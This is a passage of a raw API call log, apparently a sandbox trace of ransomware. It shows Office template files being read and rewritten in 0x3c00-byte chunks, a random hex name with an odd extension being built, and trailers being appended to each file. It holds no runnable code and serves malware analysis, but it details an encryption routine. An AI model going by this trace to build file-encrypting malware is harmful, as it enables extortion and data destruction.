nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bfcf900, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x3bfcf900*=0x3c00, lpOverlapped=0x0) returned 1 [0143.981] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0143.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0143.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0143.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0143.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203b7170 [0143.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0143.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0143.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.983] WriteFile (hFile=0x1bf4, lpBuffer=0x203b7170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bfcf900, lpOverlapped=0x0) [0179.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b7170) returned 1 [0179.887] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.887] ReadFile (in: hFile=0x1bf4, lpBuffer=0x203b3560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bfcf900, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x3bfcf900*=0x3c00, lpOverlapped=0x0) returned 1 [0180.732] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c600 [0180.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0180.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2000 [0180.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2000) returned 1 [0180.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4288ea60 [0180.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2000 [0180.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c090 [0180.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c090) returned 1 [0180.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0180.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c600) returned 1 [0180.736] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4288ea60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bfcf900, lpOverlapped=0x0 | out: lpBuffer=0x4288ea60*, lpNumberOfBytesWritten=0x3bfcf900*=0x3c00, lpOverlapped=0x0) returned 1 [0198.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4288ea60) returned 1 [0198.512] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x1b714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.512] ReadFile (in: hFile=0x1bf4, lpBuffer=0x203b3560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bfcf900, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x3bfcf900*=0x3c00, lpOverlapped=0x0) returned 1 [0198.707] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x1b714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0198.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0198.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b440 [0198.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b440) returned 1 [0198.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d34090 [0198.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b440 [0198.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b470 [0198.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b470) returned 1 [0198.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0198.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0198.711] WriteFile (in: hFile=0x1bf4, lpBuffer=0x42d34090*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bfcf900, lpOverlapped=0x0 | out: lpBuffer=0x42d34090*, lpNumberOfBytesWritten=0x3bfcf900*=0x3c00, lpOverlapped=0x0) returned 1 [0214.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d34090) returned 1 [0214.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2050 [0214.686] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.686] WriteFile (in: hFile=0x1bf4, lpBuffer=0x1ceb8040*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x3bfcf9b0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8040*, lpNumberOfBytesWritten=0x3bfcf9b0*=0x15e, lpOverlapped=0x0) returned 1 [0219.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0219.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0219.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0219.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ade20 [0219.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0219.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0219.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263380) returned 1 [0219.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0219.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x43104db0 [0219.147] sprintf (in: _Dest=0x43104db0, _Format="%c%c" | out: _Dest="82") returned 2 [0219.147] sprintf (in: _Dest=0x43104db2, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.147] sprintf (in: _Dest=0x43104db4, _Format="%c%c" | out: _Dest="5c") returned 2 [0219.147] sprintf (in: _Dest=0x43104db6, _Format="%c%c" | out: _Dest="d3") returned 2 [0219.147] sprintf (in: _Dest=0x43104db8, _Format="%c%c" | out: _Dest="cc") returned 2 [0219.147] sprintf (in: _Dest=0x43104dba, _Format="%c%c" | out: _Dest="a8") returned 2 [0219.147] sprintf (in: _Dest=0x43104dbc, _Format="%c%c" | out: _Dest="51") returned 2 [0219.147] sprintf (in: _Dest=0x43104dbe, _Format="%c%c" | out: _Dest="83") returned 2 [0219.147] sprintf (in: _Dest=0x43104dc0, _Format="%c%c" | out: _Dest="f0") returned 2 [0219.147] sprintf (in: _Dest=0x43104dc2, _Format="%c%c" | out: _Dest="98") returned 2 [0219.147] sprintf (in: _Dest=0x43104dc4, _Format="%c%c" | out: _Dest="28") returned 2 [0219.147] sprintf (in: _Dest=0x43104dc6, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.147] sprintf (in: _Dest=0x43104dc8, _Format="%c%c" | out: _Dest="0c") returned 2 [0219.147] sprintf (in: _Dest=0x43104dca, _Format="%c%c" | out: _Dest="e7") returned 2 [0219.147] sprintf (in: _Dest=0x43104dcc, _Format="%c%c" | out: _Dest="6e") returned 2 [0219.147] sprintf (in: _Dest=0x43104dce, _Format="%c%c" | out: _Dest="e1") returned 2 [0219.147] sprintf (in: _Dest=0x43104dd0, _Format="%c%c" | out: _Dest="40") returned 2 [0219.147] sprintf (in: _Dest=0x43104dd2, _Format="%c%c" | out: _Dest="26") returned 2 [0219.148] sprintf (in: _Dest=0x43104dd4, _Format="%c%c" | out: _Dest="f2") returned 2 [0219.148] sprintf (in: _Dest=0x43104dd6, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.148] sprintf (in: _Dest=0x43104dd8, _Format="%c%c" | out: _Dest="af") returned 2 [0219.148] sprintf (in: _Dest=0x43104dda, _Format="%c%c" | out: _Dest="65") returned 2 [0219.148] sprintf (in: _Dest=0x43104ddc, _Format="%c%c" | out: _Dest="c1") returned 2 [0219.148] sprintf (in: _Dest=0x43104dde, _Format="%c%c" | out: _Dest="bc") returned 2 [0219.148] sprintf (in: _Dest=0x43104de0, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.148] sprintf (in: _Dest=0x43104de2, _Format="%c%c" | out: _Dest="a2") returned 2 [0219.148] sprintf (in: _Dest=0x43104de4, _Format="%c%c" | out: _Dest="56") returned 2 [0219.148] sprintf (in: _Dest=0x43104de6, _Format="%c%c" | out: _Dest="88") returned 2 [0219.148] sprintf (in: _Dest=0x43104de8, _Format="%c%c" | out: _Dest="e8") returned 2 [0219.148] sprintf (in: _Dest=0x43104dea, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.148] sprintf (in: _Dest=0x43104dec, _Format="%c%c" | out: _Dest="96") returned 2 [0219.148] sprintf (in: _Dest=0x43104dee, _Format="%c%c" | out: _Dest="83") returned 2 [0219.148] sprintf (in: _Dest=0x43104df0, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.148] sprintf (in: _Dest=0x43104df2, _Format="%c%c" | out: _Dest="28") returned 2 [0219.148] sprintf (in: _Dest=0x43104df4, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.148] sprintf (in: _Dest=0x43104df6, _Format="%c%c" | out: _Dest="bf") returned 2 [0219.148] sprintf (in: _Dest=0x43104df8, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.148] sprintf (in: _Dest=0x43104dfa, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.148] sprintf (in: _Dest=0x43104dfc, _Format="%c%c" | out: _Dest="54") returned 2 [0219.148] sprintf (in: _Dest=0x43104dfe, _Format="%c%c" | out: _Dest="a3") returned 2 [0219.148] sprintf (in: _Dest=0x43104e00, _Format="%c%c" | out: _Dest="54") returned 2 [0219.148] sprintf (in: _Dest=0x43104e02, _Format="%c%c" | out: _Dest="39") returned 2 [0219.148] sprintf (in: _Dest=0x43104e04, _Format="%c%c" | out: _Dest="ee") returned 2 [0219.148] sprintf (in: _Dest=0x43104e06, _Format="%c%c" | out: _Dest="df") returned 2 [0219.148] RtlInitAnsiString (in: DestinationString=0x3bfcfa28, SourceString="82f15cd3cca85183f098281f0ce76ee14026f21baf65c1bc3ca25688e8c99683c928c9bff1c954a35439eedf" | out: DestinationString="82f15cd3cca85183f098281f0ce76ee14026f21baf65c1bc3ca25688e8c99683c928c9bff1c954a35439eedf") [0219.148] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bfcf9f8, SourceString="82f15cd3cca85183f098281f0ce76ee14026f21baf65c1bc3ca25688e8c99683c928c9bff1c954a35439eedf", AllocateDestinationString=1 | out: DestinationString="82f15cd3cca85183f098281f0ce76ee14026f21baf65c1bc3ca25688e8c99683c928c9bff1c954a35439eedf") returned 0x0 [0219.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110c60 [0219.149] wcscat (in: _Dest=0x4315fbc0, _Source="82f15cd3cca85183f09828" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828" [0219.149] wcscat (in: _Dest=0x4315fbc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828.2f9b60" [0219.149] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828.2f9b60", NtPathName=0x3bfcf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\82f15cd3cca85183f09828.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310d900 Thread: id = 2285 os_tid = 0x1c18 [0143.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx")) returned 0x20 [0143.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx", dwFileAttributes=0x20) returned 1 [0143.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ec0 [0143.987] GetFileSizeEx (in: hFile=0x1ec0, lpFileSize=0x1d70fac0 | out: lpFileSize=0x1d70fac0*=94944) returned 1 [0143.987] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x172dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.987] ReadFile (in: hFile=0x1ec0, lpBuffer=0x1d70fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d70fa88, lpOverlapped=0x0 | out: lpBuffer=0x1d70fa40*, lpNumberOfBytesRead=0x1d70fa88*=0x4, lpOverlapped=0x0) returned 1 [0143.989] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe710 [0143.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0143.990] NtQuerySystemTime (in: CurrentTime=0x1d70f980 | out: CurrentTime=0x1d70f980*=132462177492370000) returned 0x0 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x5cacd8b6 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x152e2b4f [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x4a91f3ad [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x2ba794e6 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x6b02c745 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x3b49b553 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x582ba6b4 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x106136ad [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x77373971 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x2fbc3922 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x7c027c52 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x55f75624 [0143.990] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x3f94c67c [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x7e479896 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x1deb0c8c [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x32a4ff29 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x12ecaf4f [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x26f0bc0f [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x1ceeb5af [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x3db86c3 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x27c90cbe [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0xa0add6e [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x2f9d4adf [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x173f00ab [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x6a38537c [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x6f49adf8 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x46031cb3 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x44922f6b [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x1c278ca5 [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x4ac24b3e [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x155d449f [0143.991] RtlRandomEx (in: Seed=0x1d70f970 | out: Seed=0x1d70f970) returned 0x2150258 [0144.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3a0 [0144.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0144.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3d0 [0144.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0144.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0144.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203abd40 [0144.003] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.003] ReadFile (in: hFile=0x1ec0, lpBuffer=0x203abd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesRead=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.006] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0144.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0144.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0144.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0144.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203af950 [0144.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0144.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0144.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0144.008] WriteFile (in: hFile=0x1ec0, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0170.743] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.743] ReadFile (in: hFile=0x1ec0, lpBuffer=0x203abd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesRead=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.754] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0170.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0170.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0170.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9e0) returned 1 [0170.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a4520 [0170.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0170.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ca10 [0170.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ca10) returned 1 [0170.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0170.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.757] WriteFile (in: hFile=0x1ec0, lpBuffer=0x203a4520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesWritten=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0185.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0185.835] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x136e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] ReadFile (in: hFile=0x1ec0, lpBuffer=0x203abd40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesRead=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0186.788] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x136e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859850 [0186.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859850) returned 1 [0186.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42535d20 [0186.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859850 [0186.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598e0 [0186.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8598e0) returned 1 [0186.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.791] WriteFile (in: hFile=0x1ec0, lpBuffer=0x42535d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d70f9e0, lpOverlapped=0x0 | out: lpBuffer=0x42535d20*, lpNumberOfBytesWritten=0x1d70f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42535d20) returned 1 [0187.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x203fb000 [0187.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859850) returned 1 [0187.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9e0) returned 1 [0187.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0187.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0187.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5eb70 [0187.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0187.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0187.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0187.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ebb0 [0187.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0187.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0187.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0187.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0187.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x158) returned 0x133e40 [0187.565] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.565] WriteFile (in: hFile=0x1ec0, lpBuffer=0x133e40*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1d70fa90, lpOverlapped=0x0 | out: lpBuffer=0x133e40*, 